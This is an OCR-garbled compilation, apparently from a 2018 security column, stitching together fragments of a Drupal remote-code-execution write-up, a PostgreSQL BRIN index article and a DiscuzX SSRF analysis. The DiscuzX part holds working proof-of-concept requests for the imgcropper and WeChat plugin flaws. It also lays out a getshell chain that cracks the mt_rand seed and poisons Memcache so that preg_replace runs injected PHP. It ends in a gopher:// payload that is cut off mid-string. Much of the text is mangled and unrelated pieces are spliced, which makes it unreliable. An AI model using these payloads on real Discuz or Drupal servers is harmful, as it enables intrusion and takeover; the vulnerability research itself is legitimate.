{"aaa"%253A{"title"%253A {"xxx"%253A"yyy"}, "ajax"%253Atrue, "attributes" %253A {"bbb"
$253A "333"}}}

AEER] item J&E link BE T,

H N render R

renderer: Drupal\CoreiRend

MimE®l T doRender FREHY Selements SHANE, ZEABITIRE #pre_render FE 1A Rrcefy
B,
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Ox06 RCE

XENEHTEexp, |

BRIERE,

[(Raw | params | Headers | Hex _ [ ] readers | rex |

R — TN IXE R E @i commitifin FRNER, HFNERRARE

S5 RRE

POST /contextual/render WTTP/1.1 1.1 2 ox
Host: www.example.com: 8088
Contant-Langt
Accept: application/json, text/jevaseript, */*; gq=0.01
Origin: http://www,exanple,com: 008
K=Requested-With: NMLHttpReguest
Usar-Agent: Mozilla/3.0 (Macimtosh)
(KHTML, like Gecko) Chrome/&%.0.3497.1
Contant-Type: appliecation/s-www-form-urlesncodead; o
Reoferer: http://www.anample.com:B088/
Accept=Language: sh=CM,zhyqe0.9 enjqg=0.8,meyqed.T
Connection) clome

1 PHFS7.0.30
1 text/Biml; charsstsuTr-8

ajan Vi3 )Atrum;

0x07 JmiAMBEIK)

ERHBYRIEER token WA, {E1F token” BMIRSHIIEN A,
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PostgreSQL BRIN
ENGILEREELNEE =)

fE&: monouno

BRIN &3] (358EZ3]|, Block Range Indexes) & PostgreSQL 9.5 WRAFTILHIZRS KR, 12K 4
FPE—TETERNHMERNEAS/MEMEt— L5 E, SEIEES BN ARERSINRITERMIELE R
MEBEWEENRIER, NBGe2RAM, ZSMEERRD 10, Ml BTree R5ILLRATSANZIER B/
[1], At BRIN 5| —RATFEHEXREFERNEHITCEER, NAE—SKRANBATRFBET id AT
B&E,

B2 M £ R

SIRBEIER, REF—1 id F&
CREATE TABLE example AS SELECT generate_series(1, 100000000) AS id;

BURR /NN 3.4G

\dt+ example

List of relations
Schema | Name | Type | Owner | Size | Description

public | example | table | safeline | 3457 MB |
(1 row)

BIZRS|

CREATE INDEX idx ON example USING brin(id) WITH (pages_per_range=1024,
autosummarize=on);
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KEHEA

5| AR/ BBK

\dti+ idx
List of relations
Schema | Name | Type | Owner | Table | Size | Description
public | idx | index | safeline | example | 56 kB |
(1 row)
explain —F BRIN Z3|{£A1E)
EXPLAIN ANALYZE SELECT * FROM example WHERE id = 492167;
QUERY PLAN

Gather (cost=1016.26..807981.92 rows=1 width=4) (actual time=12.700..86.880 rows=1 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Parallel Bitmap Heap Scan on example (cost=16.26..806981.82 rows=1 width=4) (actual time=56.477..80.759 rows=0 loops=3)
Recheck Cond: (id = 492167)
Rows Removed by Index Recheck: 77141
Heap Blocks: lossy=496
-> Bitmap Index Scan on idx (cost=0.00..16.26 rows=230946 width=0) (actual time=0.377..0.377 rows=10240 loops=1)
Index Cond: (id = 492167)
Planning Time: 0.318 ms
Execution Time: 86.950 ms
(11 rows)

Z5|MR/), BWER B-Tree R5|, FRERE 216, RARMIERASN=22"XK/NT.

CREATE INDEX idx_btree ON example (id);
\dti+ idx_btree

List of relations

Schema | Name | Type | Owner | Table | Size | Description
public | idx_btree | index | safeline | example | 2142 MB |
(1 row)

BRIN Z5| 2544

BRIN Z&35|T1RIZEIRF KR E meta page. revmap pages # regular pages, Ff1iE8iT pageinspect
I ReURAEH DT BRIN R5IHETI,

meta page

—T1 meta page f&7F BRIN R3|#9cEIE
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SELECT % FROM brin_metapage_info(get_raw_page('idx', 0));

magic | version | pagesperrange | lastrevmappage
OxA8109CFA | 1| 1024 | 1
(1 row)
Hrh lastrevmapage & revmap pages fxfg— M 5, BIM meta page B9 ~—T1%! lastrevma-

page #B;2 revmap pages.
revmap pages

ETRM revmap AT —TEZE, REHERIZSCRNMEXR, MES— revmap KIICEEX
ZEEN,

SELECT % FROM brin_revmap_data(get_raw_page('idx', 1)) LIMIT 5;

(5 rows)

TEZR AT EH—1EUEIRE revmap FRIME, AFFILATE revmap FEWRRSI00MUE.

#define HEAPBLK_TO_REVMAP_BLK(pagesPerRange, heapBlk) \
((heapBlk / pagesPerRange) / REVMAP_PAGE_MAXITEMS)
#define HEAPBLK_TO_REVMAP_INDEX(pagesPerRange, heapBlk) \
((heapBlk / pagesPerRange) % REVMAP_PAGE_MAXITEMS)

PRI EFR RIS (EE40 brininsert FHEXEY) , PINBRNTELE—TMHIERETH—5FR31C
(2],

MRS RIRRS | B RFONE, BAZTFE (0, 0), BEERBUBTHNRSNCEANEIEM, R35IH
revmap pages WEMEEY R, N THAXBEAIE, PostgreSQL £MBIEFFIAYE regular pages FRIZES]
£BRBIKRE, HEHAE revmap,

regular page

BAILLEY brin_page_items BEER31EH
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SELECT * FROM brin_page_items(get_raw_page('idx', 2), 'idx') LIMIT 5;

itemoffset | blknum | attnum | allnulls | hasnulls | placeholder | value
1] 0 | 1] f | f | f | {1 .. 231424}
2 | 1024 | 1| f | f | f | {231425 .. 462848}
3| 2048 | 1| f | f | f | {462849 .. 694272}
4| 3072 | 1| f | f | f | {694273 .. 925696}
5| 4096 | 1| f | f | f | {925697 .. 1157120}

(5 rows)

Hrh plknum. attnum. allnulls. hasnulls. value 2D HIRREBRE. FETIR. EEE2NZE. &
LERFEZENRCENFERNEAR/IVE. XEFREENME value XTFET ., PostgreSQL —RFLE
RIEXD value (EXRFIMTESHELRXLELIER, UE=T%B N0, €89 blknum X 2048, HAE
2048 - 3072 FUERRTFHAMEUIETER 462849 .. 694272, MEHKIEWHN SQL £ WHERE id =
492167, BEXLEHIBRPBERMEG T,

BRIN Z5|8Y pages_per_range PJIEEEBFZRSNCRMAITHEIERCE, BIAN 128, EH/NGFITH
KIE R/, ZREIIIEMHLF, BRIIBEZHA, ATEMEA—IRFER PostgreSQL #EFHWEEHY
BRIN Z5|, PIERHNEEZER, FHFERERNOANS NEHREBEEEBEHIAN,

H—LEHERSIZFELANTHRRMERN, FERBNRSIFERY, RBRNRSIZEFTEEFNRIT. B

DAEIT brin_desummarize_range Fip§—LR3|LBEELM.
A 7&EEAY o)

BB KEERFEAMBAKREBKEE, EAPNR AT XRIZER AT FBENRTEHRITHE
SSEEEW, EHEX BRIN RIHTINAN, SN EEREARSMFEFZLRSHATEN, W22
IFENESHIERE B#ITERYBE AN ENMEERN, EFA—PEAELHRNHN—BRNEERIEE
EWERBIERE, MZANERBEER,

REBHFEHNEBIR, RSIFMIRA LK

PostgreSQL EBASEMNTNSEMEFENERSIFE, NNMNRSIZFERFERNMNBNT ., mE vacuum
U EILIEA brin_summarize_new_values B 2 AFRFRGITHIEIERIMEZRS|ZE . M PostgreSQL 10 Fi4
#ME autosummarize Z#{, B autosummarize 5, HERAUEIBAFHOTSEGFHIENEIERAT pag-
es_per_range BY, & B XEMEREIERFNIBAFNERSIKE.,

autosummarize HASIZEIFIREEHSHII, ESIWAE  AutoAacuumWork  BOIESKREAFIHIB HI—IR
AVW_BRINSummarizeRange B9{E55, MXMESEEIER summarize_range BRE[3],
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if (!lastPageTuple)

{
bool recorded;
recorded = AutoVacuumRequestWork(AVW_BRINSummarizeRange,
RelationGetRelid(idxRel),
lastPageRange) ;
if (!recorded)
ereport(LOG,
(errcode (ERRCODE_PROGRAM_LIMIT_EXCEEDED),
errmsg("request for BRIN range summarization for index \"%s\" page %u was not recorded",
RelationGetRelationName(idxRel),
lastPageRange)));
}
else

LockBuffer(buf, BUFFER_LOCK_UNLOCK);

HXRNFIEIEE NUM_WORKITEMS 2EER, EAIAAN 256, 7 autovacuum_work #1T do_auto-
vacuum B4 BIXLE(FS[4],

/*

* Perform additional work items, as requested by backends.
*/

LWLockAcquire(AutovacuumLock, LW_EXCLUSIVE);

for (i = 0; i < NUM_WORKITEMS; i++)

{

AutoVacuumWorkItem *xworkitem = &AutoVacuumShmem—>av_workItems[i];

if (!workitem—>avw_used)
continue;
if (workitem—>avw_active)
continue;
if (workitem—>avw_database != MyDatabaseld)

continue;

/* claim this one, and release lock while performing it */
workitem—>avw_active = true;

LWLockRelease (AutovacuumLock);
perform_work_item(workitem);
/%

* Check for config changes before acquiring lock for further jobs.
*/
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CHECK_FOR_INTERRUPTS() ;

if (got_SIGHUP)

{
got_SIGHUP = false;
ProcessConfigFile(PGC_SIGHUP);

LWLockAcquire(AutovacuumLock, LW_EXCLUSIVE);

/* and mark it done x/
workitem—>avw_active = false;
workitem—->avw_used = false;

¥

LWLockRelease (AutovacuumLock) ;

HET AutoVacuumWorkltemType 2B AVW_BRINSummarizeRange X—#, £ PostgreSQL REH
IRARPIRER M P X —1ESR, BT 2K B backend MIESEEL,

LIEKRINFIEHE autovacuum_work SEREAMERS autosummarize Fakl., REHIEFAN R
R, RSIFMEFLE, FFUAEMEEFE T autosummarize, EAEHIEFRAIIEAXTENIERT, BKIAT

SWIRR G, SE autosummarize kK, HIAZHEHIREE:

XXXX-XX-XX ©09:39:55.832 UTC [67] LOG: request for BRIN range summarization for index "idx"

page 58311 was not recorded

BRIN R3|FEEMER, SWMAEFERAELRRSINICE, EEREENESH—LER5I5KE
KYHFITHIRE. & BRIN RSIATRETIREREEE, TREWNICRESHECTFENRSIFES,
£ Heap bitmap index scan Z/ShHEEEFT Recheck RETTHEIER, REFIRESTHFIEREIE, MEREEK
NTIEREREVDE B AN, #AmeMEXLSRE. TEE— TR RENERL THEN,

EXPLAIN (analyze,buffers) SELECT x FROM example WHERE id > 100 AND id <= 2000;

QUERY PLAN

Bitmap Heap Scan on example (cost=12.03..50726.88 rows=1 width=37) (actual time=19.317..6047.938 rows=1900 loops=1)
Recheck Cond: ((id > 100) AND (id <= 2000))
Rows Removed by Index Recheck: 39598741
Heap Blocks: lossy=330006
Buffers: shared hit=1 read=330007
-> Bitmap Index Scan on idx (cost=0.00..12.03 rows=15355 width=0) (actual time=19.085..19.085 rows=3301120 loops=1)
Index Cond: ((id > 100) AND (id <= 2000))
Buffers: shared hit=1 read=1
Planning Time: 0.782 ms
Execution Time: 6048.140 ms
(10 rows)

151



KERAEZ2018FEXE

Chaitin Tech Column 2018

X EE{ER Parallel Seq Scan KI&E18):

EXPLAIN (analyze,buffers) SELECT % FROM example WHERE id > 100 AND id <= 2000;

QUERY PLAN

Gather (cost=1000.00..584334.60 rows=1 width=37) (actual time=1.751..1645.756 rows=1900 loops=1)
Workers Planned: 2
Workers Launched: 2
Buffers: shared hit=16219 read=317115
-> Parallel Seq Scan on example (cost=0.00..583334.50 rows=1 width=37) (actual time=1089.990..1635.938 rows=633 loops=3)
Filter: ((id > 100) AND (id <= 2000))
Rows Removed by Filter: 13332700
Buffers: shared hit=16219 read=317115
Planning Time: 0.659 ms
Execution Time: 1646.008 ms
(10 rows)

autovacuum Rf+4ti%

TFE—RE T @A gER AutoAacuumWork BAFIE, 182 H®I1a178Y autovacuum B N1Z AT LASE
MAERMNMR, ITAtRAR. A7 HEMNL, FTTBIMIERIEIT autovacuum BIEXEEBE, HM
RIFMEANE

ALTER TABLE example SET (autovacuum_vacuum_scale_factor = 0.0);
ALTER TABLE example SET (autovacuum_vacuum_threshold = 100);

RERBEBNOWLSZHR, THERFEAKRERE, RBEWURE pg_stat_user_tables FIgk:

SELECT * FROM pg_stat_user_tables where relname = 'example’;

last_vacuum
last_autovacuum
last_analyze

last_autoanalyze XXXX=XX=XX 08:31:25.114953+00

-[ RECORD 1 ] .
relid | 32824
schemaname | public
relname | example
seq_scan | 81
seq_tup_read | 202398405
idx_scan | 5
idx_tup_fetch | 198003205
n_tup_ins | 110000010
n_tup_upd | 0
n_tup_del | 0
n_tup_hot_upd | @
n_live_tup | 110000000
n_dead_tup | 0
n_mod_since_analyze | @
I
I
I
I
vacuum_count | 0

autovacuum_count |

analyze_count |

autoanalyze_count | 3
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&I last_autovacuum —HEHHNZE, T autoanalyze BEGSFREAMBIZEE—ESMKIZIT, R¥FK{E do_auto-

vacuum REHITES, AAEIH R dovacuum. doanalyze # doworkitems Z5372, MEAF

tion_needs_vacanalyze REUGHIKIRXAREDFEM vacuum B analyze, ENIBEANDZRT,

n_dead_tup fR/\ (RFIHFZEITHEMNMER, n_dead_tup B 0) , WRRIFE autovacuum HIIEITHR

REFE, dovacuum tHAJRERSALL ,

A table needs to be vacuumed if the number of dead tuples exceeds a threshold. This threshold is calculated
as

threshold = vac_base_thresh + vac_scale_factor * reltuples
EFZN

autovacuum 3%8iz17, M autosummarize 2L,
Reference

[1]: PostgreSQLABRINMIBTREEZR 3| LE IR
[2]: GitHub - brin_revmap.c

[3]: GitHub - brin.c

[

4]: GitHub — autovacuum.c

S8, BIENRBE T autosummarize EEKE do_autovacuum HHY doworkitems JE#HITAME,

rela—

&Y

LIES
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DiscuzX f4b SSRF
121 M A

YE& : voidfyoo

RN

AR DM DiscuzX (LURER Dz) FAERERRR, &3 Dz # SSRF JBEESEEH—
dfsockopenfI RS, HEEH B4 SHXEZIEWAN., FTEE B2 7T —BAAIEAJfsockopenhiis
B, BRANKEIML SSRF, ASEXIXFAL SSRF AR E LA KRB A M E 2RI,

KK EN dfsockopen
AR R X H2 R £ dfsockopen:
function dfsockopen($url, $limit = @, $post = '', $cookie = '', $bysocket = FALSE,
$ip = '', $timeout = 15, $block = TRUE, $encodetype = 'URLENCODE', $allowcurl =
TRUE, $position = 0, $files = array()) {

require_once libfile('function/filesock');

return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout,
$block, $encodetype, $allowcurl, $position, $files);

BILAER, dfsockopen BE{RiZiEH#ZEMH _dfsockopen SLINAY, M _dfsockopen R IBHIATRIE
B WEANN url ZHEFTEA parse_url RECAITERNT, ABEAN PHP IMERSRET curl IR, R
2, BAETFERSA curl IEANR url SEARIER: TN, ME fsockopen X #EMTH AT host, port
37 socket %, FEMIERIE HTTP iBREUEES.

_dfsockopen REARIBLERK, XERNMGHEAIER curl #1TAEE S
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if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
$ch = curl_init();
$httpheader = array();
if($ip) {
$httpheader[] = "Host: ".$host;
¥
if($httpheader) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
¥

curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port :

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, 1);
if($post) {
curl_setopt($ch, CURLOPT_POST, 1);
if($encodetype == 'URLENCODE') {
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
} else {
foreach($post as $k => $v) {
if(isset($files[$k])) {

$post[$k] = '@'.$files[$k];

}
foreach($files as $k => $file) {
if(!isset($post$k]) && file_exists($file)) {

$post[$k] = '@'.$file;

I

curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

b
if($cookie) {

curl_setopt($ch, CURLOPT_COOKIE, $cookie);

"').$path);
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curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
$status = curl_getinfo($ch);
$errno = curl_errno($ch);
curl_close($ch);
if($errno || $status['http_code']l != 200) {
return;
} else {
$GLOBALS['filesockheader'] = substr($data, 0, $status['header_size']);
$data = substr($data, $status['header_size'l);

return !'$limit ? $data : substr($data, 0, $limit);

BJU&E, dfsockopenzBIE—MERNMIEZSEAMIMIL, FRIEEZ5, ERMATER curl Fy
BRIZFER, curl BMRBANMKIBEKRER, ERMINITNNINRS, HPSE S8 AN gopher:

vagrant@vagrant-ubuntu-trusty-64:~$ curl --version
curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP

gopher AJUAMIE R XEEABTHEIES:

Tomorrow (ssh)

vagrant@vagrant-ubuntu-trusty-64:~$ curl gopher://localhost:9090/_Hello%dd¥%daWorld

FINEE—R, XEREFE curl ETEE IR :

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

RPN, ERBEPEFETE SSRF BRI bypass ERMINIRE (RARXEHIRE) . BRItz BT Dz
fh_xss_check M SME url FEVSAFRF, MRNEIELEHFRFEMZEITER, EIE eI AR BIRME
BREESRSET url FRANBE IS A 1T RO BR -
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private function _xss_check() {

static $check = array('"', '>', '<', '\'', "(', ')', 'CONTENT-TRANSFER-ENCODING');

if(isset($_GET['formhash']l) && $_GET['formhash'] !== formhash()) {

system_error('request_tainting');

if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
$temp = $_SERVER['REQUEST_URI'];

} elseif(empty ($_GET['formhash'l)) {

$temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
} else {
$temp = '';

if(lempty($temp)) {
$temp = strtoupper(urldecode(urldecode($temp)));
foreach ($check as $str) {
if(strpos($temp, $str) !== false) {

system_error('request_tainting');

return true;

SR

FRUAZISRI8 B3 —1 SSRF NERMA T, BEEWMLHSEAT dfsockopen F B url ZE(FI1ZAIE]
p], A% 10 BIpAIRHMREF 7 MK T SSRF f94h T :

ehttps://gitee.com/ComsenzDiscuz/DiscuzX/commit/19fd20f7420397b88278ac1a0dae65fe50012506
*https://gitee.com/ComsenzDiscuz/DiscuzX/commit/76a3c77¢979f92dc1633ae58105359db76096593

FINBEREANEINE ZREER, BERXANNAOINENEIENEMRT X EEA T, PR
T EENMTEESBEMN, HHEEELT T, XRMTIMD,
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imgcropper SSRF

source/class/class_image.php imagez&init/5 A

function init($method, $source, $target, $nosuffix = 0) {

global $_G;

$this—>errorcode = 0;
if(empty($source)) {
return -2;
}
$parse = parse_url($source);
if(isset($parse['host'])) {
if(empty($target)) {
return -2;
¥
$data = dfsockopen($source);
$this—>tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_');
if(!$data || $source === FALSE) {
return -2;
}

file_put_contents($source, $data);

B LRt 5 1E A T imagezEminit53%, &HlimagezERIThumb, Cropper. Watermark 5 5801EH T
init, tEZ0Thumb:

function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = @) {
$return = $this—>init('thumb', $source, $target, $nosuffix);

Fr A3 IPLE 5 A T imageX M Thumb /574, A KI:
source/module/misc/misc_imgcropper.php 52-5747:
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require_once libfile('class/image');

$image = new image();

$prefix = $ GET['picflag']l == 2 ? $_G['setting']['ftp']l['attachurl'] : $_G['setting']['attachurl'];
if (!$image—>Thumb($prefix.$_GET['cutimg']l, $cropfile, $picwidth, $picheight)) {

showmessage( ' imagepreview_errorcode_'.$image—>errorcode, null, null, array('showdialog' => true,
'closetime' => true));

I

TETIEIL & $_Gl'setting']['ftp'I['attachurl'] BIER /, ™ $_Gl'setting'l['attachurl'] KIEZE
data/attachment/, FRIAMLTF $prefix  / 7B SSRF FIERIAIEE,

—FFEHE cutimg=/10.0.1.1/get, X#F¥ $url BIMERF //10.0.1.1/get, RERKIRXNMIZHERZ—TIE
BHY url, ERERABEREKNT

FYHER¥ _dfsockopen &, & PHP IFEZREEEH cURL B, #HA curl LEBNRES S, BEEIX

curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);

$scheme. $host. $port. $path FE parse_url BT url SEEHIXNNAE, THE //10.0.1.1/get
XAERY url BBATRT, $scheme KIERE null, ELEREHIZRNERRE ://10.0.1.1/get, ZHMIN, curl REX
XFturlfiE k= BoERIEMN L HTTP://, ERMEM TIEKR HTTP://://10.0.1.1/get, X url FEFLAIER

Xz

b=} 23 curl IRES.

FRAFR 27T curl ¥R, 1k _dfsockopen RELIBE socket & BHYRFE, BX 7 parse_url ] Dz 1{/S
H—Eins (XEMARA T, BXEBNEZETRBMAET) , sEAPGXEMER AKIN:

cutimg=/:@localhost:9090/dz-imgcropper—-ssrf

poc:

POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz—imgcropper-ssrf HTTP/1.1
Host: ubuntu-trusty.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8

Accept-Language: en-US,en;q=0.5

Cookie: xkmD_2132 sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_Tlastvisit=1521612483; xkmD_2132_lastact
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=1521624907%09misc.php%s09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c
571707d3f92; xkmD_2132_ulastactivity=a@f4A9CWpermv2t0@GGOrf8%2BzCf6dZyAoQ3Sto70RINgIeK4g3xcX; xkmD_

2132_auth=40a4BIESn2PZVmGTtNQ2%2BD1ImxpY roHXke37YiChA2ruG60ryhLe@bUg53XKlioysCePIZGEO1jmlB1L4qbo;
XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U71xxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact

=1521699709%09index. php%s09; XG8F_2132_ulastactivity=200fir8Bf1S1t80DAa3R7YNsZTQ1lk262ysLbcOwdHRzbPnMZ%
2BOv7; XG8F_2132_auth=3711UP@0sKWDx2V01Dt017C%2FvDf relGOrwhtDmwu5vBjiXSHuPaFVJ%2F(C%2BQilmw4v4pJ66

jx60tRFKfUB3cBy; XG8F_2132_1ip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineuser—
num=3; XG8F_2132_sendmail=1

Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www—form-urlencoded

Content-Length: 36

imgcroppersubmit=1&formhash=8472648

IERS url BIA//:@localhost:9090/dz—imgcropper—ssrf, SSRF &KL :

vagrant v -1 -p 9090
Listening
/*] accepted (family 2, sport 58619)

Language: zh-cn

.0 (Macintosh; Intel Mac 0S X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0

BT XML NETHENBE, FARBEGINMIRTFG (REXRRSH PHP MRREREK curl
) , BRREER HTTP GET 15K, FERSIHETIRMENE. FEEEHIR,

3% 13mOn BRI AT TR, FEMAMRERAN curl 2RIMRINER HTTP://:/ t,
B curl 245IXFR url HHERIFE] 127.0.0.1 49 80 1RO

# voidfyoo @ k in ~ [18:00:31]

$ curl HTT

*  Trying L

* TCP_NODELAY set

* Connected to (127.9.0.1) port 20 (#@)
> GET / HTTP/1.1

: curl/7.60.9

@, assume close after body
< 200 0K
< Server: SimpleHTTP/@.6 Python/3.6.5
ate: Thu, 06 De 8 10:00:32 GMT
Content-type: text/html
ontent-Length: 6
t-Modified: Thu, @6 Dec 2018 10:00:28 GMT

hello
* Closing connection @

# voidfyoo @ vZhack in ~ [18:00:32]

ct file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb;%t@wgidfryo@tp
nchDNS TON IPv6 Largefile NTLM NTLM_WE SSL 1libz brotli TLS-SRP UnixSockets HITPS-proxy
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=EfEF B 28 PHP parse_url B9EEHT bug ( https://bugs.php.net/bug.php?id=73192 ) , KFIA
parse_url 1 curl X url BIRITES, BINFET 302 PEITFEESMLL, REH 302 PEER gopher 7
MERIZEEHIEE .. FIB MUAZZE 1I3mOn MEE:

Discuz x3.4BI&8SSRF — I3m0On - EE[F

BEXFFB AL PHP. curl iR AEBRHNENXR, MEABRSIHHIRERST Host B91EK, SHIEK
%, imgcropper SSRF %A ELIRIE AN,

Weixin Plugin SSRF

source/plugin/wechat/wechat.class.php WeChatzEsyncAvatar 534

static public function syncAvatar($uid, $avatar) {
if('$uid || !$avatar) {

return false;

if(!$content = dfsockopen($avatar)) {

return false;
$tmpFile = DISCUZ_ROOT.'./data/avatar/'.TIMESTAMP. random(6);
file_put_contents($tmpFile, $content);
if('is_file($tmpFile)) {

return false;
$result = uploadUcAvatar::upload($uid, $tmpFile);
unlink($tmpFile);

C::t('common_member')—>update($uid, array('avatarstatus'=>'1"));

return $result;

source/plugin/wechat/wechat.inc.ohp  #1EB T WeChat::syncAvatar, Ei&F$_GET['avatar'l{ER
SHRHE:
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elseif(($ac == 'register' && submitcheck('submit') || $ac == ‘'wxregister') && $_G['wechat']['set-
ting'] ['wechat_allowregister']) {

$uid = WeChat::register($_GET['username'], $ac == 'wxregister');

if($uid && $_GET['avatar']) {

WeChat::syncAvatar($uid, $_GET['avatar'l);

AEENXERR THEEROES, MUAENBNERFEB ML FRMEES

& C ® ® A ubuntu-trusty.com/admin.php?

JISCUZ: B 2R RE WE AP 7 SR #4 BhiK ’@EIE 51 | UCenter

RIFg [+]
BRI i EHNR FRESES
&t
RS ERBE
WEER f HIEER 1.1.6 wechan)
{E#&: Comsenz Inc. | i¥9

HHRIRE | EE | MERE | RRIQE | HSIRE | RMRE | 20 | BRIQE | MRS | FEahho

IXE SSRF MIMIEREE, Hikffavatars#ais url BlR] (REFEwxopenidS & /5 REE BT
FEHRIESBEE, WREBEMERIBERLIEERLRIBEKRIEIEN)

poC:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:

9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil

vagrant@vagrant-ubuntu-trusty-64:~% nc -n -vv -1 -p 9090

Listening on [0.0.0.0] (family @, port 9090)

Connection from [127.0.0.1] port 9090 [tcp/*] accepted (family 2, sport 58643)
GET /dz-weixin-plugin-ssrf HTTP/1.0

Accept: */*

Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Host: localhost:9090

Connection: Close
Cookie:
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Dz SSRF getshell

BXHFT Jannock %4 Dz RIEFE—EHZMH@LHITHIRE, ANHTREERATFSEMEXFM
MEANATREAESMA., AERERMM EEMEZEHER, KW chengable BH—EDHBNR
A E: discuzfl)Assrf+E1FMN FBgetshellig@ oM — CHENGABLE BLOG , MmAIERA SSRF EE
FMIM getshell, REZINSE, BERBERRTXMEROREAAARN, HERUWRT Redis, Vi
Memcache th @B AW, RATEZEHR—T1,

SLiR4Ee: Dz B dfsockopen REIS AT SSRF, MIRE getshell, BARNBERENATLDEME:

1.ARS % PHP RBEZEE curl TR (AT &1D curl {8 gopher i)
2 {£F Memcache FRIEEZIBIANER Redis #H1TEEF

T imgcropper SSRF FIFRHIRZ, FTLUXEFF Weixin Plugin SSRFHITIER
SSRF i Memcache
Dz 4 Memcache EEERINE, RINBER TWITE A FBSEHIIMemCache OnfIHRTE

Archiver | F4lhR | /\EE | Comsenz Inc.
GMT+8, 2018-3-22 16:33 , Processed in 0.321433 second(s), 46 queries , MemCache On.

Dz AREMNIME, NTEEFFORAMNTEIFRHHFENLR. FANNR SSRF EX i Memcache ,
FE—TEIEE, MEHREMIORER?

install/index.php 345-35717:

$uid = DZUCFULL ? 1 : $adminuser['uid'];

$authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.
$dbpw. $dbname. $username. $password. $pconnect.substr($timestamp, @, 8)).random(18);

$_config['db'][1] ['dbhost'] = $dbhost;

$_config['db'][1] ['dbname'] = $dbname;

$_config['db'] [1] ['dbpw'] = $dbpw;

$_config['db'][1] ['dbuser'] = $dbuser;

$_config['db'] [1]['tablepre'] = $tablepre;

$_config['admincp'] ['founder'] = (string)$uid;

$_config['security'] ['authkey'] = $authkey;

$_config['cookie'] ['cookiepre']l = random(4).'_"';

$_config['memory'] ['prefix'] = random(6).'_';

save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);
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XZ Dz AREMNIEN—BRAE, XBAEIRET authkey, Cookie BRI REFRERSK, HEHH
27 random R A BB FRF S . FTLARRWEIX Trandom:

function random($length) {
$hash = '';
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ@123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' & mt_srand((double)microtime() *x 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(@, $max)];
+

return $hash;

AIALH, SR PHP ARAATF 4.2.0, 34 mt_rand BEVLEMFFRATH, BRI, 4L auth-
key. Cookie BIZ AR EFZREZRIEINIBAN mt_rand BHNHEE—1#F, M Cookie FIRZD AN, &
TWE HTTP BRI UAE, FElth, FENEUERRMF o IR AER — M/ NSEE R H TR XERTD
F3 php_mt_seed #H4TF FIRIE

B mt_rand #FROBRE, EFRBBIRNFIEIEM 6276 48/\FARE 1000 1, XFitE R T PR
WATSERS T . XIBRRLRAIPIE FIREREFRBRBIR D FIMIE SSRF 15K RIZFIRS %, &/GEIREENE—
B2 N AVRIE,

Memcache EEFHBRBNCBERT, JEIRNODME, EELIEHMEBRM T2 LB ENEFE
&K getshell?

— 8D BB MMEZS R chengable EMBMRXET, output_replace REMT BRI,
BREBEE—HMN, MUBROABERT ., &EESH gopher HiN#E1E SSRF #J payload, BXMF—
18 (GRIZEFRBZRZ WRWTI) -

<?php

$_G['setting']l['output']['preg']l['search']['plugins'] = '/.x/"';
$_G['setting']['output']['preg']['replace'] ['plugins'] = 'phpinfo()";
$ G['setting'] ['rewritestatus'] = 1;

$memcache = new Memcache;

$memcache->connect (' localhost', 11211) or die ("Could not connect");

$memcache—>set ('IwRW71_setting', $_G['setting'l);
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BITIXER PHP (X85, BEITHNE, AEEEIEE S gopher BIZZ, B

gopher://localhost:11211/_set%20IwRW71_setting%201%200%20161%0d%0aa%3A2%3A%7Bs%3A6%3A%220utputs22%3Ba%3A1%
